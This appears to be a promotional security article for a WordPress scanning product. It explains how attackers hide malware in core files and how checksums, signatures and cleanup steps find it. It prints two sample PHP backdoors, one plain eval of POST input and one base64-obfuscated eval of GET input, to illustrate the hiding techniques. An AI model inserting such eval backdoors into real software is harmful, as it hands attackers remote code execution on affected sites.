Detecting Malware Hidden in WordPress Core Files

Sophisticated attackers hide malware in WordPress core files because users rarely inspect them. Understanding their techniques helps you detect and eliminate these hidden threats.

Why Core Files Are Targeted

Assumed Safe

Site owners and basic security plugins assume core files are untouched:

• Focus on themes and plugins
• Don't scan wp-admin or wp-includes
• Miss malware in plain sight

Survival Advantage

Core file malware survives:

• Plugin removal
• Theme changes
• Basic malware cleanup
• Some updates (if strategically placed)

Common Hiding Techniques

1. Append/Prepend Code

Adding malicious code at the beginning or end of files:

// At the end of wp-includes/functions.php
@eval($_POST['x']);

2. Function Replacement

Replacing legitimate functions with malicious versions that call the original after executing payload.

3. Whitespace Hiding

Using horizontal scrolling or many blank lines to hide code visually.

4. Obfuscation

$a = base64_decode('ZXZhbCgkX0dFVFsneiddKTs=');
eval($a);

5. Fake Core Files

Creating files that look like they belong:

• wp-includes/class-wp-hooks-extra.php
• wp-admin/includes/admin-helper.php

Detection Methods

1. Checksum Verification

Compare every core file against official WordPress checksums:

• Detects any modification
• Finds added files
• Identifies missing files

This is the gold standard for core file verification.

2. Malware Signature Scanning

Scan core directories for known malware patterns:

• Common backdoor signatures
• Obfuscation patterns
• Suspicious functions

3. AI Analysis

Analyze code behavior for malicious intent:

• Catches novel malware
• Identifies obfuscated threats
• Lower false positive rate

4. Baseline Comparison

Compare against known-good backup:

• Useful if no checksum available
• Requires recent clean backup

WP Folder Shield Detection

Multi-Layer Approach

1. Checksum verification: Against WordPress.org
2. Signature scanning: Known malware patterns
3. AI analysis: Suspicious code detection
4. Added file detection: Files that shouldn't exist

Comprehensive Reporting

• Modified files with exact changes
• Added files with content analysis
• Missing files list
• Severity assessment

Responding to Detections

For Modified Core Files

1. Review the specific changes
2. Confirm it's malicious (not legitimate patch)
3. Replace file with clean copy from WordPress.org
4. Investigate how modification occurred

For Added Files

1. Review file contents
2. Check if it's a legitimate plugin/theme file misplaced
3. Delete if malicious or unnecessary

After Cleanup

1. Run full malware scan
2. Check for additional backdoors
3. Update all passwords
4. Patch the entry point vulnerability

Get WP Folder Shield for comprehensive core file malware detection combining checksums, signatures, and AI analysis.